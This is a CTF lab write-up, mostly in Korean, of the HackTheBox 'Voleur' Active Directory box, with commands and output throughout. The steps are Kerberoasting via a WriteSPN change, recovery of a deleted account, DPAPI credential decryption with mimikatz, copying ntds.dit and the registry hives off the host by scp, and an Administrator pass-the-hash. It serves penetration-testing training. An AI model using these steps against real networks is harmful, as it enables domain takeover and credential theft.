As is common in real life Windows pentests,
you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt
INFORMATION GATHERING
PORT SCAN (TCP)
└─# nmap -p- -Pn -sC -sV -n --open 10.129.232.130 -oN 10.129.232.130_TCP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 19:59 EST
Nmap scan report for 10.129.232.130
Host is up (0.074s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-12 09:04:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49713/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49714/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49742/tcp open msrpc Microsoft Windows RPC
55784/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-12T09:05:02
|_ start_date: N/A
|_clock-skew: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 405.44 seconds
PORT SCAN (UDP)
└─# nmap -sU -sV -Pn -n --open 10.129.232.130 -oN 10.129.232.130_UDP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 19:59 EST
Nmap scan report for 10.129.232.130
Host is up (0.068s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-12 08:59:51Z)
123/udp open ntp NTP v3
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5117.12 seconds
SMB Enumeration
- NXC 도구를 통해 SMB 인증을 시도하면 (SMBv1:False) (NTLM:False) 응답이 출력된다.
- SMB에서는 상황에 따라 NTLM 혹은 커버로스 인증 방식을 사용하는데, SMBv1은 NTLM 기반 인증이 디폴트로 설정되어 있다. 현 상황에서는 NTLM 인증 방식이 비활성화 되어있기 때문에, 커버로스 인증을 통해 서버에 인증을 시도해야 한다. (커버로스 인증은 “-k” 옵션을 사용하면 된다.)
➜ Voleur nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt'
SMB 10.129.232.130 445 10.129.232.130 [*] x64 (name:10.129.232.130) (domain:10.129.232.130) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.232.130 445 10.129.232.130 [-] 10.129.232.130\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED- 커버로스 인증을 시도하면 아래와 같이 “KDC_ERR_WRONG_REALM” 에러가 발생한다.
- 커버로스 인증 시에는 일반적으로 도메인 이름/FQDN 을 사용해야 한다.
- (AD/커버로스 환경에서는 FQDN과 DNS SRV를 통해 KDC를 찾고 SPN과 매칭함)
➜ Voleur nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt' -k
SMB 10.129.232.130 445 10.129.232.130 [*] x64 (name:10.129.232.130) (domain:10.129.232.130) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.232.130 445 10.129.232.130 [-] 10.129.232.130\ryan.naylor:HollowOct31Nyt KDC_ERR_WRONG_REALM- 도메인 컨트롤러의 FQDN으로 대상을 설정하고 다시 SMB 인증을 시도한다.
- 이번에는 “KRB_AP_ERR_SKEW” 에러 메시지가 발생했다.
- 이는 클라이언트와 대상 호스트의 시간 차이에 의해 발생하는 오류다.
- 시간 동기화를 진행해주면 간단히 해결할 수 있다.
➜ / nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB DC.voleur.htb 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC.voleur.htb 445 DC [-] voleur.htb\ryan.naylor:HollowOct31Nyt KRB_AP_ERR_SKEW- 시간 동기화 후 SMB 인증 시 오류가 발생하지 않고 정상적인 응답이 반환된다.
➜ Voleur ntpdate 10.129.232.130
2025-11-13 04:05:16.745576 (+0900) +1.908952 +/- 0.139027 10.129.232.130 s1 no-leap
CLOCK: time stepped by 1.908952
[ . . . ]
➜ / nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB DC.voleur.htb 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC.voleur.htb 445 DC [+] voleur.htb\ryan.naylor:HollowOct31Nyt- 도메인 내 유저 조회 시 아래와 같은 결과가 반환되었다.

- SMB 쉐어 조회 시 아래와 같은 정보가 조회되었다.
- 4개의 쉐어에 대하여 읽기(READ) 권한이 존재했다. 유효한 정보가 있는지 확인해보자

➜ Voleur impacket-getTGT voleur.htb/ryan.naylor -dc-ip 10.129.232.130
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in ryan.naylor.ccache
➜ Voleur export KRB5CCNAME=ryan.naylor.ccache
- TGT(Ticket Granting Ticket)을 이용하여 SMB 쉐어 접근 시도
➜ Voleur impacket-smbclient voleur.htb/ryan.naylor:HollowOct31Nyt@dc.voleur.htb -k
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
#- “help” 명령어를 통해 입력 가능한 커맨드 정보를 확인할 수 있다.

- IT 쉐어 접근 후 “Access_Revies.xlsx” 파일 (공격자 호스트로) 다운로드

- 다운로드 엑셀 파일은 “CDFV2 Encrypted” 파일이며, 열람이 불가능했다.

- 암호화 된 오피스 관련 파일은 “office2john” 도구를 이용하여 크래킹 시도해 볼 수 있다.
- “Access_Review.xlsx” 파일에 설정된 패스워드는
football1이었다.

- “LibreOffice”를 이용해서 이 엑셀 파일을 열고 획득한 패스워드를 입력한다.

- 엑셀에는 서비스 계정(Service Accounts) 정보가 저장되어 있었다.
- 활용 가능한 정보
- (1) svc_ldap / M1XyC9pW7qT5Vn
- (2) svc_iis / N5pXyW1VqM7CZ8
- (3) Todd Wolfe / NightT1meP1dg3on14
- (4) Ryan Nalyor / Pre-Auth disabled (impacket-GetNPUsers …)

- 활용 가능한 정보
- 획득한 계정의 유효성을 검증한다. (2개 계정 모두 유효했다.)
➜ / nxc smb DC.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k
SMB DC.voleur.htb 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC.voleur.htb 445 DC [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
➜ / nxc smb DC.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k
SMB DC.voleur.htb 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC.voleur.htb 445 DC [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8bloodhound
- 대상 호스트로의 초기 침투를 위해 블러드하운드를 이용하여 LDAP 정보수집을 진행한다.
➜ / bloodhound-python -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -ns 10.129.232.130 -dc dc.voleur.htb -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
INFO: Done in 00M 45S
INFO: Compressing output into 20251113052510_bloodhound.zip- 먼저, 이전 포트스캔 과정에서 5985 (WinRM) 포트가 개방되어 있었다.
- 원격 접속이 가능한 계정은 “JEREMY.COMBS”, “SVC_WINRM” 2개 계정이었다.

- “SVC_LDAP” 계정은 “SVC_WINRM” 계정에 대해
WriteSPN권한이 존재했다. - 이를 이용하면,
SVC_WINRM계정의 패스워드 해시 값을 추출할 수 있다.- (해시 크래킹에 성공하면 평문 패스워드도 획득 가능하다.)

- (해시 크래킹에 성공하면 평문 패스워드도 획득 가능하다.)
- “WriteSPN” 권한을 이용하여
svc_winrm계정의 “servicePrincipalName” 값을 설정한다.
(bloodyAD) ➜ bloodyAD bloodyAD --host dc.voleur.htb -d voleur.htb -k set object svc_winrm servicePrincipalName -v 'exp/svc_winrm'
[+] svc_winrm's servicePrincipalName has been updated- 이후, 커버로스팅 가능한 계정을 조회하면 “svc_winrm” 계정이 조회된다.
- 해당 계정의 TGS 해시를 요청하면, 아래와 같이 해시 값이 반환된다.

- 패스워드 크래킹 후 평문 패스워드(
AFireInsidedeOzarctica980219afi)를 추출하는데 성공했다.

- NXC 도구를 통해
svc_winrm계정 패스워드 유효성을 확인했다.
(bloodyAD) ➜ bloodyAD nxc ldap DC.voleur.htb -u 'svc_winrm' -p 'AFireInsidedeOzarctica980219afi' -k
LDAP DC.voleur.htb 389 DC [*] None (name:DC) (domain:voleur.htb)
LDAP DC.voleur.htb 389 DC [+] voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afiInitial Access
- 이후
evil-winrm을 통해 대상 호스트로의 초기 침투를 시도했으나 실패했다. - 실패 이유는 대상 호스트에서
NTLM인증이 허용되지 않았기 때문에 발생한 문제다. - 따라서, 커버로스 인증을 통해 evil-winrm 접속을 시도해야 한다.

- 커버로스 인증을 통해
evil-winrm으로 접속을 하기 위해서는,/etc/krb5.conf파일을 설정해줘야 한다. - “krb5.conf” 파일은 NXC 도구의 “—generate-krb5-file” 옵션을 통해 쉽게 생성 가능하다.

- “krb5.conf” 파일을 생성하면 “libdefaults, realms, domain_relam” 값이 자동으로 설정된다.

- “evil-winrm” 접속 시 커버로스 인증을 사용하여 접속하기 위해,
svc_winrm의 TGT를 발급한다. - 그리고, KRB5CCNAME 이름의 환경변수에 저장한다.

- 커버로스 인증을 통해 접속하기 위해서는 “-r, -i” 옵션을 사용해줘야 한다.
- 아래와 같이 옵션을 설정하여 DC로의 초기 침투에 성공한 후 플래그를 확인했다.

Internal Reconnaissance
svc_winrm계정으로 침투 호스트 정보수집을 진행하였으나, 권한상승 포인트는 발견하지 못했다.

- 블러드하운드 정보를 확인해보면,
svc_ldap계정은 “Restore Users” 그룹의 멤버였다. - 그룹 이름으로부터 무언가 복구할 수 있는 기능을 가진 그룹인 것을 유추할 수 있었다. (계정 복구 등)
- https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adoptionalfeature?view=windowsserver2025-ps#example-1-get-all-available-features-in-a-forest
- 위 자료를 참고하여 AD 휴지통 기능 관련 정보를 조회했다.
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> Get-ADOptionalFeature -Identity 'Recycle Bin Feature'
DistinguishedName : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=voleur,DC=htb
EnabledScopes : {CN=Partitions,CN=Configuration,DC=voleur,DC=htb, CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=voleur,DC=htb}
FeatureGUID : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a
FeatureScope : {ForestOrConfigurationSet}
IsDisableable : False
Name : Recycle Bin Feature
ObjectClass : msDS-OptionalFeature
ObjectGUID : ba06e572-1681-46f7-84d2-e08b001f5c51
RequiredDomainMode :
RequiredForestMode : Windows2008R2Forest- 이후 AD 휴지통에 저장된 계정을 조회하였으나 아무런 정보도 조회되지 않았다.
- 이는 현재 접속한 계정이
svc_winrm으로, “Restore Users” 그룹에 속하지 않았기 때문일 수 있다.

- 현재 “svc_ldap” 계정은 원격 접속이 불가하므로, 침투 호스트에서 자체적으로 계정 전환을 해야한다.
- RDP, WinRM 그룹에 속하지는 않았지만, 계정정보를 알고 있으므로 RunasCS.exe를 사용해볼 수 있다.
- (공격자 > 대상 호스트로 실행 파일 업로드)
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> upload ../../../../../root/tools/RunasCs.exe
Info: Uploading /root/opt/targetedKerberoast/../../../../../root/tools/RunasCs.exe to C:\Users\svc_winrm\Desktop\RunasCs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!- 아래 과정을 통해
svc_ldap계정으로 전환에 성공했다.

- 이후 삭제된 객체의 정보를 조회하는 cmdlet 명령을 실행하여 내용을 확인한다.
- (sAMAccountName : todd.wolfe)
C:\Windows\system32>powershell -c "Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *"
powershell -c "Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *"
CanonicalName : voleur.htb/Deleted Objects
CN : Deleted Objects
Created : 1/29/2025 12:42:27 AM
createTimeStamp : 1/29/2025 12:42:27 AM
Deleted : True
Description : Default container for deleted objects
DisplayName :
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
dSCorePropagationData : {12/31/1600 4:00:00 PM}
instanceType : 4
isCriticalSystemObject : True
isDeleted : True
LastKnownParent :
Modified : 1/29/2025 4:44:42 AM
modifyTimeStamp : 1/29/2025 4:44:42 AM
Name : Deleted Objects
ObjectCategory : CN=Container,CN=Schema,CN=Configuration,DC=voleur,DC=htb
ObjectClass : container
ObjectGUID : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
ProtectedFromAccidentalDeletion :
sDRightsEffective : 0
showInAdvancedViewOnly : True
systemFlags : -1946157056
uSNChanged : 13005
uSNCreated : 5659
whenChanged : 1/29/2025 4:44:42 AM
whenCreated : 1/29/2025 12:42:27 AM
accountExpires : 9223372036854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : voleur.htb/Deleted Objects/Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
CN : Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
codePage : 0
countryCode : 0
Created : 1/29/2025 1:08:06 AM
createTimeStamp : 1/29/2025 1:08:06 AM
Deleted : True
Description : Second-Line Support Technician
DisplayName : Todd Wolfe
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted
Objects,DC=voleur,DC=htb
dSCorePropagationData : {5/13/2025 4:11:10 PM, 1/29/2025 4:52:29 AM, 1/29/2025 4:49:29 AM, 1/29/2025 1:08:06
AM...}
givenName : Todd
instanceType : 4
isDeleted : True
LastKnownParent : OU=Second-Line Support Technicians,DC=voleur,DC=htb
lastLogoff : 0
lastLogon : 133826301603754403
lastLogonTimestamp : 133826287869758230
logonCount : 3
memberOf : {CN=Second-Line Technicians,DC=voleur,DC=htb, CN=Remote Management
Users,CN=Builtin,DC=voleur,DC=htb}
Modified : 5/13/2025 4:11:17 PM
modifyTimeStamp : 5/13/2025 4:11:17 PM
msDS-LastKnownRDN : Todd Wolfe
Name : Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid : S-1-5-21-3927696377-1337352550-2781715495-1110
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet : 133826280731790960
sAMAccountName : todd.wolfe
sDRightsEffective : 0
sn : Wolfe
userAccountControl : 66048
userPrincipalName : todd.wolfe@voleur.htb
uSNChanged : 45088
uSNCreated : 12863
whenChanged : 5/13/2025 4:11:17 PM
whenCreated : 1/29/2025 1:08:06 AM- https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps#example-3-restore-an-object-from-a-filtered-list-of-users
- 위 URL 자료를 참고하여 “todd.wolfe” 계정을 복구하는데 성공했다.

- “todd.wolfe” 계정의 패스워드는 정보수집 과정에서 확인할 수 있었다.
- 초기 패스워드는 “NightT1meP1dg3on14” 다.

- 초기 패스워드는 “NightT1meP1dg3on14” 다.
- 계정 유효성도 아래와 같이 확인됐다. (todd.wolfe / NightT1meP1dg3on14)

todd.wolfe계정의 정보를 수집하기 위해, TGT 신규 발급을 진행했다.todd.wolfe계정은 “Remote Management Users”, “Second-Line technicians” 그룹의 멤버였다.
?➜ bloodyAD impacket-getTGT voleur.htb/todd.wolfe:NightT1meP1dg3on14
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in todd.wolfe.ccache
➜ bloodyAD export KRB5CCNAME=todd.wolfe.ccache
todd.wolfe계정으로는 IT 쉐어의Second-Line Support폴더 접근이 가능했다.- 그러나, 해당 폴더에서 유효한 정보는 발견하지 못했다.

- 원활한 정보 수집을 위해
RunasCs.exe실행파일을 이용하여 원격 쉘 획득을 진행한다.

- “Credentials Manager” 계정정보가 저장되는 대표적인 경로에 대해 정보가 있는지 전수 조사를 진행하였다.
gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Vault; gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Credentials; gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Protect; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Vault; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Protect
- “C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110”
- 위 경로에서 조회되는 마스터키는 없었다.

- 위 경로에서 조회되는 마스터키는 없었다.
- “C:\IT\Second-Line Support\Archived Users\todd.wolfe”
- 위 경로에서 다시 저장된 계정정보가 있는지 조회한다.

- 위 경로에서 다시 저장된 계정정보가 있는지 조회한다.
- “IT” 쉐어의 “Second-Line Support” 폴더 내부에서 DPAPI 마스터키가 확인됐다.

DPAPI Abuse - Extract Credentials
(1) Decrypt Masterkey with mimikatz
- 먼저, 계정 추출을 위해 마스터키 복호화를 진행한다. (미미카츠 /rpc 옵션 활용)
- (key) d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
PS C:\programdata> .\mimikatz.exe
mimikatz # dpapi::masterkey /in:"C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88" /rpc
[ . . . ]
[DC] 'voleur.htb' will be the domain
[DC] 'DC.voleur.htb' will be the DC server
key : d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
sha1: 7417f03ca0d4d557935d96b3f1341bdbbcdbd907
(2) Extract Credentials (with 복호화 된 마스터 키)
- mimikatz 를 통해 복호화 된 마스터 키로 저장된 계정 정보를 추출하는데 성공했다.
- “jeremy.combs / qT3V9pLXyN7W4m”
mimikatz # dpapi::cred /in:"C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3 /masterkey:d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10
c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"
[ . . . ]
UserName : jeremy.combs
CredentialBlob : qT3V9pLXyN7W4m
- “RunasCs.exe”를 이용하여 획득한 계정(jeremy.combs) 쉘 획득에 성공했다.

- “jeremy.combs” 계정의 권한을 살펴보면, IT 쉐어의 “Third-Line Support” 폴더에 접근 권한이 있다.

- “Third-Line Support” 폴더 내부에는 아래 2개 파일이 존재했다.
- SSH 개인키 파일을 획득했으므로, 이를 활용한 SSH 접속이 가능한지 확인해야 한다.

- SSH 개인키 파일을 획득했으므로, 이를 활용한 SSH 접속이 가능한지 확인해야 한다.
- 우리는 이전 포트스캔 과정에서 2222번 포트가 개방되어 있음을 확인했다.
- 또한, NXC 도구를 통해 도메인 유저 정보를 수집한 상태다.
➜ Voleur cat ldap_users
Administrator
Guest
krbtgt
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
todd.wolfe
svc_winrm- 획득한 개인키 파일, 도메인 유저 정보를 활용하여 2222번 포트로 SSH 접속을 시도한다.
- 도메인 내 존재하는 모든 계정에 대해 SSH 접속을 시도한 결과,
svc_backup접속이 가능했다.

svc_backup계정은 모든 명령어를 시스템 권한으로 실행 가능했다.- sudo 명령어를 이용하여 루트 계정으로 권한 상승에 성공했다.

- 루트 계정으로 권한 상승 후 플래그를 확인해봤으나, 발견되지 않았다.
root@DC:/mnt# cd /root
root@DC:~# ls
root@DC:~# ls -alh
total 4.0K
drwx------ 1 root root 4.0K Nov 12 15:48 .
drwxr-xr-x 1 root root 4.0K Jan 30 2025 ..
-rw------- 1 root root 365 Nov 12 15:53 .bash_history
-rw-r--r-- 1 root root 3.1K Dec 5 2019 .bashrc
drwxr-xr-x 1 root root 4.0K Jan 30 2025 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile- 정보수집 과정에서 마운트 된 폴더가 발견되었다.
- 추가로, 해당 폴더에서는 ntds.dit 파일과 레지스트리(SECURITY, SYSTEM) 파일이 발견됐다.
root@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory# ls -alh
total 25M
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30 2025 .
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30 2025 ..
-rwxrwxrwx 1 svc_backup svc_backup 24M Jan 30 2025 ntds.dit
-rwxrwxrwx 1 svc_backup svc_backup 16K Jan 30 2025 ntds.jfm
[ . . . ]
root@DC:/mnt/c/IT/Third-Line Support/Backups/registry# ls -alh
total 18M
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30 2025 .
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30 2025 ..
-rwxrwxrwx 1 svc_backup svc_backup 32K Jan 30 2025 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18M Jan 30 2025 SYSTEMExtract Credentials (impacket-secretsdump)
- ntds.dit 파일을 공격자 호스트로 옮긴 후, 계정 정보 추출을 진행한다.
➜ Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" .
ntds.dit 100% 24MB 2.8MB/s 00:08
➜ Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" .
SECURITY 100% 32KB 49.4KB/s 00:00
➜ Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" .
SYSTEM
[ . . . ]
➜ Voleur ls -alh
[ . . . ]
-rwxrwxr-x 1 root root 24M Nov 13 08:55 ntds.dit
-rwxrwxr-x 1 root root 32K Nov 13 08:58 SECURITY
-rwxrwxr-x 1 root root 18M Nov 13 08:59 SYSTEM
- “Administrator” 계정의 NT 해시 값 추출에 성공했다.
- “administator” 계정의 TGT를 발급한 후 환경변수(KRB5CCNAME)에 등록한다.
➜ Voleur rdate -n 10.129.232.130
Thu Nov 13 09:11:46 KST 2025
➜ Voleur impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
➜ Voleur export KRB5CCNAME=Administrator.ccachPrivilege Escalation
- Administrator 계정으로 접속 후 루트 플래그를 확인했다.

